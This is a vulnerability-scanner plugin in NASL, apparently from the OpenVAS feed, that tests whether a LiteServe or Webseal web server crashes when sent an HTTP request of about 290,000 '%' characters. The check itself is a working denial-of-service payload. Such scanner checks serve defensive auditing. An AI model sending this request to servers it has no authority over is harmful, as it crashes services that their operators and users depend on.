LiteServe URL Decoding DoS Vulnerability

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11155");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_name("LiteServe URL Decoding DoS Vulnerability");
  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");

  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Upgrade your server or firewall it.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"The remote web server dies when an URL consisting of a
  long invalid string of % is sent.");

  script_tag(name:"impact", value:"A attacker may use this flaw to make your server crash continually.");

  script_tag(name:"affected", value:"Webseal version 3.8 and LiteServe are known to be affected.
  Other versions or products might be affected as well.");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

if (http_is_dead(port: port)) exit(0);

soc = open_sock_tcp(port);
if (! soc) exit(0);

req = string("GET /", crap(data: "%",length: 290759), " HTTP/1.0\r\n\r\n");
send(socket: soc, data: req);
r = http_recv(socket: soc);
close(soc);
sleep(1);

if (http_is_dead(port: port)) {
  security_message(port);
}